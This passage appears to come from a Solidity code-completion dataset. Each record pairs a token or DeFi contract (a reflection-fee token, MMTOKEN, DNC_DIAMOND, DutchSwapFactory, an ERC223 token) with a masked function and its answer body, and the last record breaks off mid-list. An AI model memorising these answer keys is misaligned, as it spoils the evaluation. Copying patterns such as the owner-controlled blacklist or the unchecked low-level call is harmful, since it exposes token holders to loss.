contract InternalReflectionService is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Internal Reflection Service"; string private constant _symbol = "IRS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f); _feeAddrWallet2 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f); _rOwned[_msgSender()] = _rTotal; _sellTax = 5; _buyTax = 5; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x7b9D8513F2b4324c448aad99EbcD7880f294112E), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } <FILL_FUNCTION> function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 10) { _sellTax = sellTax; } } function _setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 10) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee);
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
42465
MMTOKEN
approveAndCall
contract MMTOKEN is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MMTOKEN( ) { balances[msg.sender] = 12000000000000000000000000; totalSupply = 12000000000000000000000000; name = "Maximum Token"; decimals = 18; symbol = "MMT"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract MMTOKEN is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MMTOKEN( ) { balances[msg.sender] = 12000000000000000000000000; totalSupply = 12000000000000000000000000; name = "Maximum Token"; decimals = 18; symbol = "MMT"; } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
69456
UniHelper
_mintLPToken
contract UniHelper{ using SafeMath for uint256; uint256 internal constant ONE = 10**18; function _mintLPToken( IUniswapV2Pair uniswap_pair, IERC20 token0, IERC20 token1, uint256 amount_token1, address token0_source ) internal {<FILL_FUNCTION_BODY> } function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal { uniswap_pair.transfer( address(uniswap_pair), uniswap_pair.balanceOf(address(this)) ); IUniswapV2Pair(uniswap_pair).burn(destination); } function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } }
contract UniHelper{ using SafeMath for uint256; uint256 internal constant ONE = 10**18; <FILL_FUNCTION> function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal { uniswap_pair.transfer( address(uniswap_pair), uniswap_pair.balanceOf(address(this)) ); IUniswapV2Pair(uniswap_pair).burn(destination); } function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } }
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair .getReserves(); uint256 quoted = quote(reserve0, reserve1); uint256 amount_token0 = quoted.mul(amount_token1).div(ONE); token0.transferFrom(token0_source, address(uniswap_pair), amount_token0); token1.transfer(address(uniswap_pair), amount_token1); IUniswapV2Pair(uniswap_pair).mint(address(this));
function _mintLPToken( IUniswapV2Pair uniswap_pair, IERC20 token0, IERC20 token1, uint256 amount_token1, address token0_source ) internal
function _mintLPToken( IUniswapV2Pair uniswap_pair, IERC20 token0, IERC20 token1, uint256 amount_token1, address token0_source ) internal
65126
DNC_DIAMOND
balanceOf
contract DNC_DIAMOND is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DNC"; name = "DNC DIAMOND"; decimals = 18; _totalSupply =2100000000000000000000000000; balances[0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29] = _totalSupply; emit Transfer(address(0),0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract DNC_DIAMOND is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DNC"; name = "DNC DIAMOND"; decimals = 18; _totalSupply =2100000000000000000000000000; balances[0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29] = _totalSupply; emit Transfer(address(0),0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
return balances[tokenOwner];
function balanceOf(address tokenOwner) public constant returns (uint balance)
// ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance)
2083
DutchSwapFactory
deployDutchAuction
contract DutchSwapFactory is Owned, CloneFactory { using SafeMath for uint256; address public dutchAuctionTemplate; struct Auction { bool exists; uint256 index; } address public newAddress; uint256 public minimumFee = 0 ether; mapping(address => Auction) public isChildAuction; address[] public auctions; event DutchAuctionDeployed(address indexed owner, address indexed addr, address dutchAuction, uint256 fee); event AuctionRemoved(address dutchAuction, uint256 index ); event FactoryDeprecated(address newAddress); event MinimumFeeUpdated(uint oldFee, uint newFee); event AuctionTemplateUpdated(address oldDutchAuction, address newDutchAuction ); function initDutchSwapFactory( address _dutchAuctionTemplate, uint256 _minimumFee) public { _initOwned(msg.sender); dutchAuctionTemplate = _dutchAuctionTemplate; minimumFee = _minimumFee; } function numberOfAuctions() public view returns (uint) { return auctions.length; } function removeFinalisedAuction(address _auction) public { require(isChildAuction[_auction].exists); bool finalised = IDutchAuction(_auction).auctionEnded(); require(finalised); uint removeIndex = isChildAuction[_auction].index; emit AuctionRemoved(_auction, auctions.length - 1); uint lastIndex = auctions.length - 1; address lastIndexAddress = auctions[lastIndex]; auctions[removeIndex] = lastIndexAddress; isChildAuction[lastIndexAddress].index = removeIndex; if (auctions.length > 0) { auctions.pop(); } } function deprecateFactory(address _newAddress) public { require(isOwner()); require(newAddress == address(0)); emit FactoryDeprecated(_newAddress); newAddress = _newAddress; } function setMinimumFee(uint256 _minimumFee) public { require(isOwner()); emit MinimumFeeUpdated(minimumFee, _minimumFee); minimumFee = _minimumFee; } function setDutchAuctionTemplate( address _dutchAuctionTemplate) public { require(isOwner()); emit AuctionTemplateUpdated(dutchAuctionTemplate, _dutchAuctionTemplate); dutchAuctionTemplate = _dutchAuctionTemplate; } function deployDutchAuction( address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) public payable returns (address dutchAuction) {<FILL_FUNCTION_BODY> } // footer functions function transferAnyERC20Token(address tokenAddress, uint256 tokens) public returns (bool success) { require(isOwner()); return IERC20(tokenAddress).transfer(owner(), tokens); } receive () external payable { revert(); } }
contract DutchSwapFactory is Owned, CloneFactory { using SafeMath for uint256; address public dutchAuctionTemplate; struct Auction { bool exists; uint256 index; } address public newAddress; uint256 public minimumFee = 0 ether; mapping(address => Auction) public isChildAuction; address[] public auctions; event DutchAuctionDeployed(address indexed owner, address indexed addr, address dutchAuction, uint256 fee); event AuctionRemoved(address dutchAuction, uint256 index ); event FactoryDeprecated(address newAddress); event MinimumFeeUpdated(uint oldFee, uint newFee); event AuctionTemplateUpdated(address oldDutchAuction, address newDutchAuction ); function initDutchSwapFactory( address _dutchAuctionTemplate, uint256 _minimumFee) public { _initOwned(msg.sender); dutchAuctionTemplate = _dutchAuctionTemplate; minimumFee = _minimumFee; } function numberOfAuctions() public view returns (uint) { return auctions.length; } function removeFinalisedAuction(address _auction) public { require(isChildAuction[_auction].exists); bool finalised = IDutchAuction(_auction).auctionEnded(); require(finalised); uint removeIndex = isChildAuction[_auction].index; emit AuctionRemoved(_auction, auctions.length - 1); uint lastIndex = auctions.length - 1; address lastIndexAddress = auctions[lastIndex]; auctions[removeIndex] = lastIndexAddress; isChildAuction[lastIndexAddress].index = removeIndex; if (auctions.length > 0) { auctions.pop(); } } function deprecateFactory(address _newAddress) public { require(isOwner()); require(newAddress == address(0)); emit FactoryDeprecated(_newAddress); newAddress = _newAddress; } function setMinimumFee(uint256 _minimumFee) public { require(isOwner()); emit MinimumFeeUpdated(minimumFee, _minimumFee); minimumFee = _minimumFee; } function setDutchAuctionTemplate( address _dutchAuctionTemplate) public { require(isOwner()); emit AuctionTemplateUpdated(dutchAuctionTemplate, _dutchAuctionTemplate); dutchAuctionTemplate = _dutchAuctionTemplate; } <FILL_FUNCTION> // footer functions function transferAnyERC20Token(address tokenAddress, uint256 tokens) public returns (bool success) { require(isOwner()); return IERC20(tokenAddress).transfer(owner(), tokens); } receive () external payable { revert(); } }
dutchAuction = createClone(dutchAuctionTemplate); isChildAuction[address(dutchAuction)] = Auction(true, auctions.length - 1); auctions.push(address(dutchAuction)); require(IERC20(_token).transferFrom(msg.sender, address(this), _tokenSupply)); require(IERC20(_token).approve(dutchAuction, _tokenSupply)); IDutchAuction(dutchAuction).initDutchAuction(address(this), _token,_tokenSupply,_startDate,_endDate,_paymentCurrency,_startPrice,_minimumPrice,_wallet); emit DutchAuctionDeployed(msg.sender, address(dutchAuction), dutchAuctionTemplate, msg.value);
function deployDutchAuction( address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) public payable returns (address dutchAuction)
function deployDutchAuction( address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) public payable returns (address dutchAuction)
81546
ERC223Token
transferToAddress
contract ERC223Token is ERC223, SafeMath { mapping(address => uint48) balances; string public name; string public symbol; uint8 public decimals; uint48 public totalSupply; function ERC223Token() public { totalSupply = 25907002099; balances[0x535fC82388b0FF37248B5100803C3FA00FF076cB]=129350000; balances[0x329504f7Cf737d583AB6AC3Cabd725ec1bF329a4]=7636000; balances[0xCC7E72c949a71044D7f22294c7d9aB0524cCAFf7]=1; balances[0xd590955D43bfbe93A3c51b2d6BAFc886C24a4B87]=110; balances[0x6B6d0B5842c61153d89743040B19C760DDA647B5]=388300; balances[0xcb9D6ad63a4487D28545F9Bd3c9d2B2Cf374803b]=1054000; balances[0xb700402053ac42638C83B9a791f03F4c9bF16854]=330000; balances[0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98]=1484598; balances[0x04f04c5F2e735A223FDEFe94c94978F77c344FB8]=1100000; balances[0xB66844cD7EC75b91FE62aB5A0E306132485C9527]=179391; balances[0xC4CE380FcfaD899F9A7aCF8F13690dbE387FB8db]=1185800; balances[0xe02E96193e84FCc63F2D488a7c9448B43aD904A4]=1140700; balances[0xA2fE32aA95f9771F596089CC171dD10cA3d5761C]=44000; balances[0xd6484a997129938709fAb588Fd6F55B0A684ab56]=21890000; balances[0x9a6F14cEaD3521142E678fD0fEe294881449D889]=2204925; balances[0xb3ce93Ef88d0ea70cafc029b4238CBa3b704354d]=1519400; balances[0x7eD1E469fCb3EE19C0366D829e291451bE638E59]=304722; balances[0xAAb8805f5626760b612812b83D77F96671E222e2]=1492589; balances[0x7205d8e2Ff6012392Ac4C0c9fb5125F8Abb3ef6d]=1100000; balances[0xEC348184cA6C85d12cA822Dc01FAbEb1d199e996]=1100000; balances[0xA56F95FC14bC4D2953a819c20c0C7078a08ef7Aa]=6600000; balances[0x5aD299927508d786E469AadDf34EEDDD4aCd96A5]=880000; balances[0xF46DBA0c3Cce9d3b2Ce371952b72e7F66b62BE95]=1100000; balances[0xd5f3b11b2E20fa1B7018e93128BF6faf5bda2BD7]=4894374; balances[0x3b1a8135E0b445097c83F780F0B068F21cEAa7b4]=1052381; balances[0xF27Fef813A7D7E17f7907a6043c52971a0b0209f]=769780; balances[0xf3cAD07CB033F68A35e388527e55F1E804f8704a]=2088246; balances[0x5B1286d898eD28d8a7A59b224Fc4c252461e0b64]=384957; balances[0xBb265B80c2eFe6f071432FBA0B1527Ab5Ba9F91F]=319985; balances[0x259DF6B527FB06757dB3295862aC8dc292466435]=98550; balances[0xeb62ae01812773BF3C270221a9b511c86AaC1546]=296120; balances[0x51A7016D90B58855D89efFC70c94e9808cabE680]=106012; balances[0x919612F15F7734cD59008B2E21ba7bAC435bB8A8]=258912; balances[0xDD6be4514A348FB2d422d176dEC81B8666B143dd]=34942; balances[0xf0660eFb282102dB8B57EaF39F883833E8b62821]=679598; balances[0x267C817c2Ea39C31C7075A5548d5356bcf205eFD]=186215; balances[0x863aACEbF0030e26e14F9ff552b654171Ff6372F]=295686; balances[0x14A1C2F56b7953aA4A93700C346740b9A25150F8]=148344; balances[0xFc8425A1B01d1d74c2281Da2975cB77422d4CEA3]=2961211; balances[0x4FdB2ee1EbEb1886976FA9aDAaA42a1c090335aD]=1124099; balances[0x019BDC7F3DDF5aD4A5695e16ACfe02a4d32aEA5f]=116046; balances[0xE11692E90dE2A2c4F220Fb0597CFdd22D5eFAcF1]=17767; balances[0x6f06F186C8dd8D0cAd3835946A857aed261C5652]=20038512; balances[0x24F7a01Fa083F8DB8A5b4dd46Fb003F1fd1C47d5]=3378741; balances[0x92D8bfD2d2559a25a5D43e84f4430915e38B980F]=264302; balances[0x8785816569941D86DFAE7adFdd92C2f50d3a5Ad6]=397479; balances[0x7B2C6cB5bE1a99118ce38e373d58adF04d8e6719]=290277; balances[0xa50da0F0940A852927740470e1A0a6016e9a3B65]=79800; balances[0x9d2C3aA31Ffb61180214Ca87296A2f4F8DDA6472]=1029302; balances[0x93A1B766A75DaeCa4a05E08ee5d7781f3d6D72B1]=7279842; balances[0x96BD54Caefd00EeFe1e836677319B6631C0f67E0]=525000; balances[0x0072e4Fd215f7B992D0A19fAdC58DBfAC568CE4a]=1155000; balances[0xF9eE68058FA43a79834897793B7B34d0135b98BB]=11500; balances[0x2A9c9a5475A6E24A530ccf5527A045F4dBf3E78e]=1138500; balances[0x995C6B0d4F3cca7d0081f18d4b48faa135eA47b3]=38755; balances[0x679d24F2F5AAf0E7bB6dd49e45B41CCff0779564]=459493; balances[0x9235881033C4B57be38B1d28921451F90bd7744d]=114493; balances[0xDf61cA237F6E782df0E090f58c8534e8794bAE64]=271231; balances[0xEDdb1aBC1e37953F91ca6E3a11611Be79719fF5d]=46000; balances[0xdf15A49e50Fa9f2D71B922Ae325a5AFB381A31f1]=1150000; balances[0x269E20e3dA89481d6F0De3408c5448AE44a313B8]=250534; balances[0x8D1F338F8abd714fd09ec13C100A0d7dF693cd5D]=282900; balances[0xb703CE71557095b9566348928bBFD4a991456936]=207000; balances[0x3877d21b3f1ffDF602840366aDf2350b8E1F8210]=298492; balances[0x9A77E0910034A3B809687f8340b5BD2a184ED5bb]=345000; balances[0x8861fd090e71D72A7ca0Aa0B24dD5D664b52cF03]=1150000; balances[0x0098C71bCA3EBD977147928A4dA574fd138571AC]=465750; balances[0x7131f3FCc9177F1176378635efD30A9109cF3cdE]=1682450; balances[0x90FcD92B396CFD6951d8DdCd0Cdd2654436C2840]=1150000; balances[0x5Bd46d1744B2AAAd591B01D23786336bF7faC094]=2961897; balances[0x0C95959EB2056d86552baa4B859288C84D74a7e9]=3450000; balances[0x8755A5619E2D2FC56e263FcBE26116250941d477]=23407; balances[0xfDbe03a53aF5e4509AEBD9D148B41eEc34776B7c]=1137993; balances[0x72a63625144327FC6A58867699107934E7F0B609]=438399; balances[0x4EE354582a9Cc60Eb086CAEB514234c1EfE14D9F]=115000; balances[0xBF0A1d55528EEd2990F752A6bccd24dd772421f5]=1725000; balances[0x670226836D7Bf336bfd172086d682002a30D63e3]=1010850; balances[0xd8F83AF83B6334be21a166d203e84D9c4f6e33e0]=396243; balances[0xd175fb3b65eDC995DC9b2dAE705270448D8A5231]=328900; balances[0x86dE9262Aa13f1351C9009B6BC1B1a432C96f005]=274068; balances[0x08E004E3741052Fd00e49384088e2D6F81f97fd5]=1264492; balances[0xc1F81207791DDa997542625cb86CC0D8Af7dfAb4]=1138500; balances[0x913E5A823A614ad226c810e55154f3f385F647F0]=1150000; balances[0x7f4823876318faD7321FD813b7aBd4A7C60C12A5]=1150000; balances[0xcd9E6E0E63C5611ab1988e0569E3aD89b86086c6]=199299; balances[0xb1Dd23a37776c1d3E1F0c874d1F72589F3c59E44]=1138500; balances[0xfE2ceCCC914be290d49712d4715438268FC76359]=1150000; balances[0x3dd9cFE0D6eE68163aCd1EeB6De9f4D3A580839D]=505825; balances[0x9323D4704fB877CD090Ba715B11Da9A3eDFdA7Ef]=275000; balances[0x0c747c7EEdf05515425AdD4061911Ae9F039F4Df]=821160; balances[0x51a23f481037CA208086f42FE83D28B71c1EbC2c]=345000; balances[0x42E1Fb8EC1830DBe4e5Ed5Ce60Bd307D3AcBB5a1]=14950; balances[0x4fa531A7da9b0FA37cC60eb26eE7393B39c616B1]=945000; balances[0x9383D952e4aa5C33c86d11932877D1D523097702]=221958; balances[0xd5FECA4d252b298d7500c05766049210e2BD6C03]=600000; balances[0xf4e5DA75e054FE7373a8Db3B5aD4E2d35404b7F3]=1096; balances[0xA46BBC28cB381A6c383DAE0D3eAb39A78d9bd704]=342402; balances[0xc94AB3B27218b1E5C24Fdb7cE169EB8bD5a58060]=1922965; balances[0x7111B872B505992b2a61f5F3b7A31E6A589F9ba2]=2265500; 